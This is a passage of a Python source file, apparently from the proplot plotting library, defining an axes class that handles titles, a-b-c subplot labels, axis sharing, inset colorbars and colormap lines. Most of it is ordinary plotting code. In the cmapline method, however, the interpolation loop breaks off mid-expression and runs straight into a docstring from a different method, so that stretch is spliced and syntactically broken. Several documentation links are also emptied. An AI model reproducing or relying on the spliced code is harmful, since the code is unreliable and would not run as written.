'bottompanel',\n 'rpanel': 'rightpanel',\n 'tpanel': 'toppanel',\n 'lpanel': 'leftpanel'\n }\n\n# Silly recursive function, returns a...z...aa...zz...aaa...zzz\n_abc_string = 'abcdefghijklmnopqrstuvwxyz'\ndef _abc(i):\n if i < 26:\n return _abc_string[i]\n else:\n return _abc(i - 26) + _abc_string[i % 26]\n\n# Filter warnings, seems to be necessary before drawing stuff for first time,\n# otherwise this has no effect (e.g. if you stick it in a function)\nwarnings.filterwarnings('ignore', category=mplDeprecation)\n# Import mapping toolboxes\n# Main conda distro says they are incompatible, so make sure not required!\ntry:\n from cartopy.mpl.geoaxes import GeoAxes\nexcept ModuleNotFoundError:\n GeoAxes = object\n\n#------------------------------------------------------------------------------#\n# Generalized custom axes class\n# WARNING: Wanted to bulk wrap methods using __new__ on a *metaclass*, since\n# this would just wrap method *once* and not every single time user accesses\n# object. More elegant, but __new__ *does not receive inherited methods* (that\n# comes later down the line), so we can't wrap them. Anyway overriding\n# __getattribute__ is fine, and premature optimiztaion is root of all evil!\n#------------------------------------------------------------------------------#\ndef _redraw_text(obj, overwrite=True, **kwargs):\n \"\"\"Allows updating new text properties introduced by override.\"\"\"\n # Attempt update, but will raise error if e.g. border is passed\n if overwrite:\n try:\n obj.update(kwargs)\n return obj\n except Exception:\n pass\n obj.set_visible(False) # destroy original text instance\n # Get properties\n text = kwargs.pop('text', obj.get_text())\n for key in ('color', 'weight', 'fontsize'):\n kwargs[key] = getattr(obj, 'get_' + key)()\n # Position\n pos = obj.get_position()\n x, y = kwargs.pop('position', (None,None))\n x = _default(kwargs.pop('x', x), pos[0])\n y = _default(kwargs.pop('y', y), pos[1])\n # Return new object\n return obj.axes.text(x, y, text, **kwargs)\n\nclass BaseAxes(maxes.Axes):\n \"\"\"Lowest-level axes subclass. Handles titles and axis\n sharing. Adds several new methods and overrides existing ones.\"\"\"\n name = 'base'\n \"\"\"The registered projection name.\"\"\"\n def __init__(self, *args, number=None,\n sharex=None, sharey=None, spanx=None, spany=None,\n sharex_level=0, sharey_level=0,\n **kwargs):\n \"\"\"\n Parameters\n ----------\n number : None or int\n The subplot number, used for a-b-c labelling (see\n `~BaseAxes.format`).\n sharex_level, sharey_level : {3, 2, 1, 0}, optional\n The \"axis sharing level\" for the *x* axis, *y* axis, or both\n axes.\n sharex, sharey : None or `BaseAxes`, optional\n Axes to use for *x* and *y* axis sharing. Should correspond\n to the subplot in the bottommost row, leftmost column.\n spanx, spany : None or `BaseAxes`, optional\n Axes to use for the \"spanning\" *x* and *y* axis labels. Should\n correspond to the subplot in the leftmost column, bottommost row.\n\n See also\n --------\n `~proplot.subplots.subplots`, `CartesianAxes`, `ProjectionAxes`\n \"\"\"\n # Properties\n self.number = number # for abc numbering\n self._spanx = spanx # boolean toggles, whether we want to span axes labels\n self._spany = spany\n self._yrange = None # geometry, filled later\n self._xrange = None\n self._nrows = None\n self._ncols = None\n # Misc necessary\n self._xrotated = False # whether manual rotation was applied\n self._yrotated = False # change default tick label rotation when datetime labels present, if user did not override\n self._titles_dict = {} # dictionar of title text objects and their locations\n self._gridliner_on = False # whether cartopy gridliners are enabled\n self._aspect_equal = None # for imshow and stuff\n self._is_map = False # needed by wrappers, which can't import this file\n # Children and related properties\n self.bottompanel = EmptyPanel()\n self.toppanel = EmptyPanel()\n self.leftpanel = EmptyPanel()\n self.rightpanel = EmptyPanel()\n self._tight_bbox = None # save these\n self._zoom = None # the 'zoom lines' for inset zoom-in axes\n self._panel_parent = None\n self._inset_parent = None # filled later\n self._inset_children = [] # arbitrary number of insets possible\n self._colorbar_parent = None\n self._colorbar_child = None # the *actual* axes, with content and whatnot; may be needed for tight subplot stuff\n self._auto_colorbar = {} # stores plot handles for filling with a colorbar, as function of location\n self._auto_legend = {} # as above, but for legend\n self._auto_colorbar_kw = {} # keyword args for automatic colorbar() call\n self._auto_legend_kw = {} # as above, but for automatic legend() call\n self._filled = False # turned off when panels filled with colorbar or legend\n self._alty_child = None\n self._altx_child = None\n self._alty_parent = None\n self._altx_parent = None\n self._dualy_scale = None # for scaling units on opposite side of ax, and holding data limits fixed\n self._dualx_scale = None\n self._panels_main_gridspec = None # filled with gridspec used for axes subplot and its panels\n self._panels_stack_gridspec = None # filled with gridspec used for 'stacked' panels\n\n # Call parent\n super().__init__(*args, **kwargs)\n\n # Set up axis sharing, save geometry\n width, height = self.figure.get_size_inches()\n self.width = abs(self._position.width)*width # position is in figure units\n self.height = abs(self._position.height)*height\n if isinstance(self, maxes.SubplotBase):\n nrows, ncols, subspec = self._topmost_subspec()\n self._yrange = ((subspec.num1 // ncols) // 2, (subspec.num2 // ncols) // 2)\n self._xrange = ((subspec.num1 % ncols) // 2, (subspec.num2 % ncols) // 2)\n self._nrows = 1 + nrows // 2 # remember, we have rows masquerading as empty spaces!\n self._ncols = 1 + ncols // 2\n # Axis sharing, title stuff, new text attributes\n self._sharex_setup(sharex, sharex_level)\n self._sharey_setup(sharey, sharey_level)\n self._title_transform = self.title.get_transform() # save in case it changes\n self.abc = self.text(0, 0, '') # position tbd\n self.collabel = self.text(0, 0, '', va='bottom', ha='center', transform=self._title_transform)\n self.rowlabel = self.text(0, 0, '', va='center', ha='right', transform=self.transAxes)\n # Apply custom props\n self.format(mode=1)\n\n @wrappers._expand_methods_list\n def __getattribute__(self, attr, *args):\n \"\"\"Applies the `~proplot.wrappers.text_wrapper` and\n `~proplot.wrappers.legend_wrapper` wrappers, and disables the redundant\n methods `_disabled_methods`. Enables the attribute aliases\n ``bpanel`` for ``bottompanel``, ``tpanel`` for ``toppanel``,\n ``lpanel`` for ``leftpanel``, and ``rpanel`` for ``rightpanel``.\"\"\"\n attr = _aliases.get(attr, attr)\n obj = super().__getattribute__(attr, *args)\n # Disabled methods\n for message,attrs in wrappers._disabled_methods.items():\n if attr in attrs:\n raise RuntimeError(message.format(attr))\n # Non-plotting overrides\n # All plotting overrides are implemented in individual subclasses\n if attr=='text':\n obj = wrappers._text_wrapper(self, obj)\n elif attr=='legend' and not isinstance(self, PanelAxes):\n obj = wrappers._legend_wrapper(self, obj)\n return obj\n\n def _topmost_subspec(self):\n \"\"\"Get the top-level SubplotSpec (i.e. the one encompassed by an\n axes and all its panels, if any are present).\"\"\"\n subspec = self.get_subplotspec()\n gridspec = subspec.get_gridspec()\n while isinstance(gridspec, mgridspec.GridSpecFromSubplotSpec):\n try:\n subspec = gridspec._subplot_spec\n except AttributeError:\n raise ValueError('The _subplot_spec attribute is missing from this GridSpecFromSubplotSpec. Cannot determine the parent GridSpec rows/columns occupied by this slot.')\n gridspec = subspec.get_gridspec()\n nrows, ncols = gridspec.get_geometry()\n return nrows, ncols, subspec\n\n def _share_short_axis(self, share, side, level):\n \"\"\"When sharing main subplots, shares the short axes of their side panels.\"\"\"\n if isinstance(self, PanelAxes):\n return\n axis = 'x' if side[0] in 'lr' else 'y'\n paxs1 = getattr(self, side + 'panel') # calling this means, share properties on this axes with input 'share' axes\n paxs2 = getattr(share, side + 'panel')\n if not all(pax and pax.get_visible() and not pax._filled for pax in paxs1) or \\\n not all(pax and pax.get_visible() and not pax._filled for pax in paxs2):\n return\n if len(paxs1) != len(paxs2):\n raise RuntimeError('Sync error. Different number of stacked panels along axes on like column/row of figure.')\n for pax1,pax2 in zip(paxs1,paxs2):\n getattr(pax1, '_share' + axis + '_setup')(pax2, level)\n\n def _share_long_axis(self, share, side, level):\n \"\"\"When sharing main subplots, shares the long axes of their side panels,\n assuming long axis sharing is enabled for that panel.\"\"\"\n if isinstance(self, PanelAxes):\n return\n axis = 'x' if side[0] in 'tb' else 'y'\n paxs = getattr(self, side + 'panel') # calling this means, share properties on this axes with input 'share' axes\n if not all(pax and pax.get_visible() and not pax._filled for pax in paxs) or \\\n not all(pax._share for pax in paxs):\n return\n for pax in paxs:\n getattr(pax, '_share' + axis + '_setup')(share, level)\n\n def _sharex_setup(self, sharex, level):\n \"\"\"Sets up shared axes. The input is the 'parent' axes, from which\n this one will draw its properties.\"\"\"\n if sharex is None or sharex is self:\n return\n if isinstance(self, ProjectionAxes) or isinstance(sharex, ProjectionAxes):\n return\n if level not in range(4):\n raise ValueError('Level can be 1 (do not share limits, just hide axis labels), 2 (share limits, but do not hide tick labels), or 3 (share limits and hide tick labels).')\n # Account for side panels \n self._share_short_axis(sharex, 'left', level)\n self._share_short_axis(sharex, 'right', level)\n self._share_long_axis(sharex, 'bottom', level)\n self._share_long_axis(sharex, 'top', level)\n # Builtin features\n self._sharex = sharex\n if level>1:\n self._shared_x_axes.join(self, sharex)\n # \"Shared\" axis and tick labels\n # WARNING: Assigning *another* axis label to this axes will raise error,\n # because matplotlib tries to draw same Artist twice. Just make it invisible.\n if level>2:\n for t in self.xaxis.get_ticklabels():\n t.set_visible(False)\n self.xaxis.label.set_visible(False)\n\n def _sharey_setup(self, sharey, level):\n \"\"\"Sets up shared axes. The input is the 'parent' axes, from which\n this one will draw its properties.\"\"\"\n if sharey is None or sharey is self:\n return\n if isinstance(self, ProjectionAxes) or isinstance(sharey, ProjectionAxes):\n return\n if level not in range(4):\n raise ValueError('Level can be 1 (do not share limits, just hide axis labels), 2 (share limits, but do not hide tick labels), or 3 (share limits and hide tick labels).')\n # Account for side panels\n self._share_short_axis(sharey, 'bottom', level)\n self._share_short_axis(sharey, 'top', level)\n self._share_long_axis(sharey, 'left', level)\n self._share_long_axis(sharey, 'right', level)\n # Builtin features\n self._sharey = sharey\n if level>1:\n self._shared_y_axes.join(self, sharey)\n # \"Shared\" axis and tick labels\n if level>2:\n for t in self.yaxis.get_ticklabels():\n t.set_visible(False)\n self.yaxis.label.set_visible(False)\n\n def _title_kwargs(self, abc=False, loc=None):\n \"\"\"Position title text to the left, center, or right and either\n inside or outside the axes (default is center, outside).\"\"\"\n # Apply rc settings\n prefix = 'abc' if abc else 'title'\n kwargs = rc.fill({\n 'fontsize': f'{prefix}.fontsize',\n 'weight': f'{prefix}.weight',\n 'color': f'{prefix}.color',\n 'fontfamily': 'font.family'\n })\n if loc is None:\n loc = rc[f'{prefix}.loc']\n if loc is None:\n return kwargs\n\n # Add border props if we are moving it\n kwargs.update(rc.fill({\n 'border': f'{prefix}.border',\n 'linewidth': f'{prefix}.linewidth',\n }, cache=False)) # look up defaults\n\n # Get coordinates\n ypad = rc.get('axes.titlepad')/(72*self.height) # to inches --> to axes relative\n xpad = rc.get('axes.titlepad')/(72*self.width) # why not use the same for x?\n if isinstance(loc, str): # coordinates\n # Get horizontal position\n if loc in ('c','uc','lc','center','upper center','lower center'):\n x, ha = 0.5, 'center'\n elif loc in ('l','ul','ll','left','upper left','lower left'):\n x, ha = 1.5*xpad*(loc not in ('l','left')), 'left'\n elif loc in ('r','ur','lr','right','upper right','lower right'):\n x, ha = 1 - 1.5*xpad*(loc not in ('r','right')), 'right'\n else:\n raise ValueError(f'Invalid \"loc\" {loc}.')\n # Get vertical position\n transform = self.transAxes\n if loc in ('c','l','r','center','left','right'):\n y, va = 1, 'bottom' # leave it alone, may be adjusted during draw-time to account for axis label (fails to adjust for tick labels; see notebook)\n transform, kwargs['border'] = self._title_transform, False\n elif loc in ('ul','ur','uc','upper left','upper right','upper center'):\n y, va = 1 - 1.5*ypad, 'top'\n else:\n y, va = 1.5*ypad, 'bottom'\n elif np.iterable(loc) and len(loc)==2:\n ha = va = 'center'\n x, y = loc\n transform = self.transAxes\n else:\n raise ValueError(f'Invalid \"loc\" {loc}.')\n\n # Return kwargs\n kwargs.update({'x':x, 'y':y, 'ha':ha, 'va':va, 'transform':transform})\n return kwargs\n\n def format(self, *, mode=2, rc_kw=None, **kwargs):\n \"\"\"\n Sets up temporary rc settings and calls `CartesianAxes.format_partial`\n or `ProjectionAxes.format_partial`.\n\n Parameters\n ----------\n rc_kw : None or dict, optional\n A dictionary containing \"rc\" configuration settings that will\n be applied to this axes. Temporarily updates the\n `~proplot.rcmod.rc` object. See `~proplot.rcmod` for details.\n **kwargs\n Any of three options:\n\n * A keyword arg for `BaseAxes.format_partial`,\n `CartesianAxes.format_partial`, or `ProjectionAxes.format_partial`.\n * A global \"rc\" keyword arg, like ``linewidth`` or ``color``.\n * A standard \"rc\" keyword arg **with the dots omitted**.\n For example, ``land.color`` becomes ``landcolor``.\n\n The latter two options update the `~proplot.rcmod.rc`\n object, just like `rc_kw`.\n\n Other parameters\n ----------------\n mode : int, optional\n The \"getitem mode\". This is used under-the-hood -- you shouldn't\n have to use it directly. Determines whether queries to the\n `~proplot.rcmod.rc` object will ignore `rcParams `__.\n This can help prevent a massive number of unnecessary lookups\n when the settings haven't been changed by the user.\n See `~proplot.rcmod.rc_configurator` for details.\n\n See also\n --------\n `~proplot.rcmod`, `BaseAxes.format_partial`, `CartesianAxes.format_partial`,\n `ProjectionAxes.format_partial`\n \"\"\"\n # Figure out which kwargs are valid rc settings\n kw = {} # for format\n rc_kw = rc_kw or {}\n for key,value in kwargs.items():\n key_fixed = _rc_names_nodots.get(key, None)\n if key_fixed is None:\n kw[key] = value\n else:\n rc_kw[key_fixed] = value\n rc._getitem_mode = 0 # might still be non-zero if had error\n # Apply special defaults on first format call for flush panel axes\n if mode==1 and isinstance(self, PanelAxes) and self._flush:\n axis = ('y' if self._side in ('right','left') else 'x')\n for key in ('labelloc','ticklabelloc'):\n kw.setdefault(axis + key, self._side) # e.g. xlabelloc and xticklabelloc set to bottom for flush bottom panels\n # Call format in context of custom settings\n with rc.context(rc_kw, mode=mode):\n self.format_partial(**kw)\n\n def format_partial(self, title=None, top=True,\n figtitle=None, suptitle=None, collabels=None, rowlabels=None, # label rows and columns\n **kwargs, # nopanel optionally puts title and abc label in main axes\n ):\n \"\"\"\n Called by `CartesianAxes.format_partial` and `ProjectionAxes.format_partial`,\n formats the axes titles, a-b-c labelling, row and column labels, and\n figure title.\n\n Note that the `abc`, `abcformat`, `abcloc`, and `titleloc` keyword\n arguments are actually rc configuration settings that are temporarily\n changed by the call to `~BaseAxes.format`. They are documented here\n because it is extremely common to change them with `~BaseAxes.format`.\n They also appear in the tables in the `~proplot.rcmod` documention.\n\n Parameters\n ----------\n title : None or str, optional\n The axes title.\n ltitle, rtitle, ultitle, uctitle, urtitle, lltitle, lctitle, lrtitle : str, optional\n Axes titles, with the first part of the name indicating location.\n This lets you specify multiple \"title\" within a single axes. See\n the `titleloc` keyword.\n abc : None or bool, optional\n Whether to apply \"a-b-c\" subplot labelling based on the\n ``number`` attribute. If ``number`` is >26, the labels will loop\n around to a, ..., z, aa, ..., zz, aaa, ..., zzz, ... God help you\n if you ever need that many labels. Defaults to ``rc['abc']``.\n abcformat : str, optional\n It is a string containing the character ``a`` or ``A``, specifying\n the format of a-b-c labels. ``'a'`` is the default, but e.g.\n ``'a.'``, ``'a)'``, or ``'A'`` might be desirable. Defaults to\n ``rc['abc.format']``.\n abcloc, titleloc : str, optional\n They are strings indicating the location for the a-b-c label and\n main title. The following locations are valid.\n\n * ``'center'`` or ``'c'``\n * ``'left'`` or ``'l'``\n * ``'right'`` or ``'r'``\n * ``'lower center``' or ``'lc'``, inside axes\n * ``'upper center'`` or ``'uc'``, inside axes\n * ``'upper right'`` or ``'ur'``, inside axes\n * ``'upper left'`` or ``'ul'``, inside axes\n * ``'lower left'`` or ``'ll'``, inside axes\n * ``'lower right'`` or ``'lr'``, inside axes\n\n Defaults to ``rc['abc.loc']`` and ``rc['title.loc']``.\n abcborder, titleborder : bool, optional\n These are the ``rc['abc.border']`` and ``rc['title.border']``\n settings. They indicate whether to draw a border around the\n labels, which can help them stand out on top of artists plotted\n inside the axes.\n top : bool, optional\n Whether to try to put title and a-b-c label above the top subplot\n panel (if it exists), or to always put them on the main subplot.\n Defaults to ``True``, i.e. the former.\n rowlabels, colllabels : None or list of str, optional\n The subplot row and column labels. If list, length must match\n the number of subplot rows, columns.\n figtitle, suptitle : None or str, optional\n The figure \"super\" title, centered between the left edge of\n the lefmost column of subplots and the right edge of the rightmost\n column of subplots, and automatically offset above figure titles.\n\n This is more sophisticated than matplotlib's builtin \"super title\",\n which is just centered between the figure edges and offset from\n the top edge.\n \"\"\"\n # Figure patch (for some reason needs to be re-asserted even if\n # declared before figure is drawn)\n # Look into `~matplotlib.axes.SubplotBase.is_last_row` and\n # `~matplotlib.axes.SubplotBase.is_first_column` methods.\n kw = rc.fill({'facecolor':'figure.facecolor'})\n self.figure.patch.update(kw)\n\n # Super title and labels\n # NOTE: These are actually *figure-wide* settings, but that line seems\n # to get blurred -- where we have shared axes, spanning labels, and\n # whatnot. May result in redundant assignments if formatting more than\n # one axes, but operations are fast so some redundancy is nbd.\n fig = self.figure # the figure\n suptitle = figtitle or suptitle\n if suptitle is not None:\n kw = rc.fill({\n 'fontsize': 'suptitle.fontsize',\n 'weight': 'suptitle.weight',\n 'color': 'suptitle.color',\n 'fontfamily': 'font.family'\n }, cache=False)\n fig._suptitle_setup(suptitle, **kw)\n if rowlabels is not None:\n kw = rc.fill({\n 'fontsize': 'rowlabel.fontsize',\n 'weight': 'rowlabel.weight',\n 'color': 'rowlabel.color',\n 'fontfamily': 'font.family'\n }, cache=False)\n fig._rowlabels(rowlabels, **kw)\n if collabels is not None:\n kw = rc.fill({\n 'fontsize': 'collabel.fontsize',\n 'weight': 'collabel.weight',\n 'color': 'collabel.color',\n 'fontfamily': 'font.family'\n }, cache=False)\n fig._collabels(collabels, **kw)\n\n # Axes for title or abc\n # NOTE: We check filled property but top panel filled is not allowed, change this?\n pax = self.toppanel[0]\n if top and pax and pax.get_visible() and not pax._filled:\n tax = self.toppanel[0]\n else:\n tax = self\n tax = tax._altx_child or tax # always on top!\n\n # Create axes title\n # NOTE: Aligning title flush against left or right of axes is alredy a\n # matplotlib feature: set_title(loc={'center','left','right'}). This\n # version just has more features and flexibility.\n kw = tax._title_kwargs(abc=False)\n if title is not None:\n kw['text'] = title\n if kw:\n tax.title = _redraw_text(tax.title, **kw)\n titles_dict = {}\n for key,title in tax._titles_dict.items():\n titles_dict[key] = _redraw_text(title, **kw)\n tax._titles_dict = titles_dict\n\n # Alternate titles\n for key,title in kwargs.items():\n if not key[-5:]=='title':\n raise ValueError(f'format() got an unexpected keyword argument \"{key}\".')\n loc = key[:-5]\n kw = tax._title_kwargs(abc=False, loc=loc)\n obj = tax._titles_dict.get(loc, tax.title)\n tax._titles_dict[loc] = _redraw_text(obj, text=title, overwrite=(obj is not tax.title), **kw)\n\n # Initial text setup\n # Will only occur if user requests change, or on initial run\n abc = rc['abc']\n abcformat = rc['abc.format']\n if abcformat and self.number is not None:\n if 'a' not in abcformat and 'A' not in abcformat:\n raise ValueError(f'Invalid abcformat \"{abcformat}\". Must include letter \"a\" or \"A\".')\n abcedges = abcformat.split('a' if 'a' in abcformat else 'A')\n text = abcedges[0] + _abc(self.number-1) + abcedges[-1]\n if 'A' in abcformat:\n text = text.upper()\n tax.abc.set_text(text)\n # Apply any changed or new settings\n kw = tax._title_kwargs(abc=True)\n if kw:\n tax.abc = _redraw_text(tax.abc, **kw)\n if abc is not None: # set invisible initially\n tax.abc.set_visible(bool(abc))\n\n def colorbar(self, *args, loc=None, pad=None,\n length=None, width=None, xspace=None,\n label=None, extendsize=None,\n frame=None, frameon=None,\n alpha=None, linewidth=None, edgecolor=None, facecolor=None,\n **kwargs):\n \"\"\"\n Adds an *inset* colorbar, sort of like `~matplotlib.axes.Axes.legend`.\n\n Parameters\n ----------\n loc : None or str or int, optional\n The colorbar location. Just like ``loc`` for the native matplotlib\n `~matplotlib.axes.Axes.legend`, but filtered to only corner\n positions. Default is ``rc['colorbar.loc']``. The following\n locations are valid:\n\n * ``'upper right'`` or ``'ur'``\n * ``'upper left'`` or ``'ul'``\n * ``'lower left'`` or ``'ll'``\n * ``'lower right'`` or ``'lr'``\n\n pad : None or str or float, optional\n Space between the axes edge and the colorbar.\n If float, units are inches. If string, units are interpreted by\n `~proplot.utils.units`. Default is ``rc['colorbar.pad']``.\n length : None or str or float, optional\n The colorbar length. If float, units are inches. If string,\n units are interpreted by `~proplot.utils.units`. Default is\n ``rc['colorbar.length']``.\n width : None or str or float, optional\n The colorbar width. If float, units are inches. If string,\n units are interpreted by `~proplot.utils.units`. Default is\n ``rc['colorbar.width']``.\n xspace : None or str or float, optional\n Space allocated for the bottom x-label of the colorbar.\n If float, units are inches. If string, units are interpreted\n by `~proplot.utils.units`. Default is ``rc['colorbar.xspace']``.\n frame, frameon : None or bool, optional\n Whether to draw a frame behind the inset colorbar, just like\n `~matplotlib.axes.Axes.legend`. Default is ``rc['colorbar.frameon']``.\n alpha : None or float, optional\n Transparency of the frame. Default is ``rc['colorbar.framealpha']``.\n linewidth : None or float, optional\n Line width for the frame. Defaults to ``rc['axes.linewidth']``.\n edgecolor, facecolor : None or color-spec, optional\n Properties for the frame. Defaults are ``rc['axes.edgecolor']``\n and ``rc['axes.facecolor']``.\n **kwargs, label, extendsize\n Passed to `~proplot.wrappers.colorbar_wrapper`.\n \"\"\"\n # Default props\n loc = _default(loc, rc['colorbar.loc'])\n extend = units(_default(extendsize, rc['colorbar.extendinset']))\n length = units(_default(length, rc['colorbar.length']))/self.width\n width = units(_default(width, rc['colorbar.width']))/self.height\n pad = units(_default(pad, rc['colorbar.axespad']))\n xpad = pad/self.width\n ypad = pad/self.height\n # Space for labels\n xspace = units(_default(xspace, rc['colorbar.xspace'])) # for x label\n if not label:\n xspace -= 1.2*rc['font.size']/72\n xspace /= self.height\n # Get location in axes-relative coordinates\n # Bounds are x0, y0, width, height in axes-relative coordinate to start\n if loc in ('upper right','ur'):\n bounds = (1-xpad-length, 1-ypad-width)\n fbounds = (1-2*xpad-length, 1-2*ypad-width-xspace)\n elif loc in ('upper left','ul'):\n bounds = (xpad, 1-ypad-width)\n fbounds = (0, 1-2*ypad-width-xspace)\n elif loc in ('lower left','ll'):\n bounds = (xpad, ypad+xspace)\n fbounds = (0, 0)\n elif loc in ('lower right','lr','b','best'):\n bounds = (1-xpad-length, ypad+xspace)\n fbounds = (1-2*xpad-length, 0)\n else:\n raise ValueError(f'Invalid location {loc}.')\n bounds = (bounds[0], bounds[1], length, width)\n fbounds = (fbounds[0], fbounds[1], 2*xpad+length, 2*ypad+width+xspace)\n # Make axes\n locator = self._make_inset_locator(bounds, self.transAxes)\n bbox = locator(None, None)\n ax = maxes.Axes(self.figure, bbox.bounds, zorder=5)\n ax.set_axes_locator(locator)\n self.add_child_axes(ax)\n # Make colorbar\n # WARNING: Inset colorbars are tiny! So use smart default locator\n kwargs.update({'ticklocation':'bottom', 'extendsize':extend, 'label':label})\n kwargs.setdefault('locator', ('maxn', 4))\n cbar = wrappers.colorbar_wrapper(ax, *args, **kwargs)\n # Make frame\n # NOTE: We do not allow shadow effects or fancy edges effect.\n # Also keep zorder same as with legend.\n frameon = _default(frame, frameon, rc['colorbar.frameon'])\n if frameon:\n # Make object\n xmin, ymin, width, height = fbounds\n patch = mpatches.Rectangle((xmin,ymin), width, height,\n snap=True, zorder=4.5, transform=self.transAxes) # fontsize defined in if statement\n # Properties\n alpha = _default(alpha, rc['colorbar.framealpha'])\n linewidth = _default(linewidth, rc['axes.linewidth'])\n edgecolor = _default(edgecolor, rc['axes.edgecolor'])\n facecolor = _default(facecolor, rc['axes.facecolor'])\n patch.update({'alpha':alpha, 'linewidth':linewidth, 'edgecolor':edgecolor, 'facecolor':facecolor})\n self.add_artist(patch)\n return cbar\n\n def area(self, *args, **kwargs):\n \"\"\"Alias for `~matplotlib.axes.Axes.fill_between`, which is wrapped by\n `~proplot.wrappers.fill_between_wrapper`.\"\"\"\n return self.fill_between(*args, **kwargs)\n\n def areax(self, *args, **kwargs):\n \"\"\"Alias for `~matplotlib.axes.Axes.fill_betweenx`, which is wrapped by\n `~proplot.wrappers.fill_betweenx_wrapper`.\"\"\"\n return self.fill_betweenx(*args, **kwargs)\n\n def cmapline(self, *args, values=None,\n cmap=None, norm=None,\n interp=0, **kwargs):\n \"\"\"\n Invoked by `~proplot.wrappers.plot_wrapper` when you pass the `cmap`\n keyword argument to `~matplotlib.axes.Axes.plot`. Draws a \"colormap line\",\n i.e. a line whose color changes as a function of some parametric coordinate\n `values`. This is actually a collection of lines, added as a\n `~matplotlib.collections.LineCollection` instance. See `this matplotlib example\n `__.\n\n Parameters\n ----------\n *args : (y,) or (x,y)\n The coordinates. If `x` is not provided, it is inferred from `y`.\n cmap : None or colormap spec, optional\n The colormap specifier, passed to `~proplot.colortools.Colormap`.\n values : list of float\n The parametric values used to map points on the line to colors\n in the colormap.\n norm : None or normalizer spec, optional\n The normalizer, passed to `~proplot.colortools.Norm`.\n interp : int, optional\n Number of values between each line joint and each *halfway* point\n between line joints to which you want to interpolate.\n \"\"\"\n # First error check\n # WARNING: So far this only works for 1D *x* and *y* coordinates. Cannot\n # draw multiple colormap lines at once, unlike `~matplotlib.axes.Axes.plot`.\n if values is None:\n raise ValueError('Requires a \"values\" keyword arg.')\n if len(args) not in (1,2):\n raise ValueError(f'Requires 1-2 arguments, got {len(args)}.')\n y = np.array(args[-1]).squeeze()\n x = np.arange(y.shape[-1]) if len(args)==1 else np.array(args[0]).squeeze()\n values = np.array(values).squeeze()\n if x.ndim!=1 or y.ndim!=1 or values.ndim!=1:\n raise ValueError(f'x ({x.ndim}-d), y ({y.ndim}-d), and values ({values.ndim}-d) must be 1-dimensional.')\n if len(x)!=len(y) or len(x)!=len(values) or len(y)!=len(values):\n raise ValueError(f'{len(x)} xs, {len(y)} ys, but {len(values)} colormap values.')\n\n # Next draw the line\n # Interpolate values to optionally allow for smooth gradations between\n # values (bins=False) or color switchover halfway between points (bins=True)\n # Next optionally interpolate the corresponding colormap values\n # NOTE: We linearly interpolate here, but user might use a normalizer that\n # e.g. performs log before selecting linear color range; don't need to\n # implement that here\n if interp>0:\n xorig, yorig, vorig = x, y, values\n x, y, values = [], [], []\n for j in range(xorig.shape[0]-1):\n idx = (slice(None, -1) if j+1`__,\n `pandas.Timestamp`, `pandas.DatetimeIndex`, `datetime.date`,\n `datetime.time`, or `datetime.datetime` array as the *x* or *y*-axis\n coordinate, the axis ticks and tick labels will be formatted as dates.\n\n See also\n --------\n `~proplot.axistools.Scale`, `~proplot.axistools.Locator`,\n `~proplot.axistools.Formatter`\n \"\"\"\n # Background patch basics\n self.patch.set_clip_on(False)\n self.patch.set_zorder(-1)\n kw_face = rc.fill({'facecolor': 'axes.facecolor', 'alpha': 'axes.alpha'})\n kw_face.update(patch_kw)\n self.patch.update(kw_face)\n\n # Flexible keyword args, declare defaults\n xmargin = _default(xmargin, rc['axes.xmargin'])\n ymargin = _default(ymargin, rc['axes.ymargin'])\n xtickdir = _default(xtickdir, rc['xtick.direction'])\n ytickdir = _default(ytickdir, rc['ytick.direction'])\n xtickminor = _default(xtickminor, rc['xtick.minor.visible'])\n ytickminor = _default(ytickminor, rc['ytick.minor.visible'])\n xspineloc = _default(xloc, xspineloc, _rcloc_to_stringloc('x', 'axes.spines'))\n yspineloc = _default(yloc, yspineloc, _rcloc_to_stringloc('y', 'axes.spines'))\n xformatter = _default(xticklabels, xformatter) # default is just matplotlib version\n yformatter = _default(yticklabels, yformatter)\n xlocator = _default(xticks, xlocator) # default is AutoLocator, no setting\n ylocator = _default(yticks, ylocator)\n xminorlocator = _default(xminorticks, xminorlocator) # default is AutoMinorLocator, no setting\n yminorlocator = _default(yminorticks, yminorlocator)\n # Grid defaults are more complicated\n axis = rc.get('axes.grid.axis') # always need this property\n grid, which = rc['axes.grid'], rc['axes.grid.which']\n if which is not None or grid is not None: # only if *one* was changed recently!\n if grid is None:\n grid = rc.get('axes.grid')\n elif which is None:\n which = rc.get('axes.grid.which')\n xgrid = _default(xgrid, grid and axis in ('x','both') and which in ('major','both'))\n ygrid = _default(ygrid, grid and axis in ('y','both') and which in ('major','both'))\n xgridminor = _default(xgridminor, grid and axis in ('x','both') and which in ('minor','both'))\n ygridminor = _default(ygridminor, grid and axis in ('y','both') and which in ('minor','both'))\n\n # Override for weird bug where title doesn't get automatically offset\n # from ticklabels in certain circumstance, check out notebook\n xlabelloc = _default(xlabelloc, xticklabelloc)\n ylabelloc = _default(ylabelloc, yticklabelloc)\n xtickloc = _default(xtickloc, xticklabelloc, _rcloc_to_stringloc('x', 'xtick'))\n ytickloc = _default(ytickloc, yticklabelloc, _rcloc_to_stringloc('y', 'ytick'))\n if xlabelloc=='both':\n xlabelloc = 'bottom'\n if ylabelloc=='both':\n ylabelloc = 'left'\n if xticklabelloc=='both' and xtickloc!='both':\n xticklabelloc = xtickloc\n if yticklabelloc=='both' and ytickloc!='both':\n yticklabelloc = ytickloc\n if xticklabelloc in ('both','top') and (xlabelloc!='top' or not xlabel): # xtickloc *cannot* be 'top', *only* appears for 'both'\n warnings.warn('This keyword combo causes matplotlib bug where title is not offset from tick labels. Try again with xticklabelloc=\"bottom\" or xlabelloc=\"top\". Defaulting to the former.')\n xticklabelloc = xlabelloc = 'bottom'\n\n # Begin loop\n for (axis, label, color, margin,\n tickloc, spineloc, ticklabelloc, labelloc,\n bounds, grid, gridminor, tickminor, tickminorlocator,\n lim, reverse, scale, locator,\n formatter, tickrange, tickdir, ticklabeldir, rotation,\n scale_kw, label_kw, formatter_kw, locator_kw, minorlocator_kw) in zip(\n (self.xaxis, self.yaxis), (xlabel, ylabel), (xcolor, ycolor), (xmargin, ymargin),\n (xtickloc, ytickloc), (xspineloc, yspineloc), (xticklabelloc, yticklabelloc), (xlabelloc, ylabelloc),\n (xbounds, ybounds), (xgrid, ygrid), (xgridminor, ygridminor), (xtickminor, ytickminor), (xminorlocator, yminorlocator), # minor ticks\n (xlim, ylim), (xreverse, yreverse), (xscale, yscale), (xlocator, ylocator),\n (xformatter, yformatter), (xtickrange, ytickrange), (xtickdir, ytickdir), 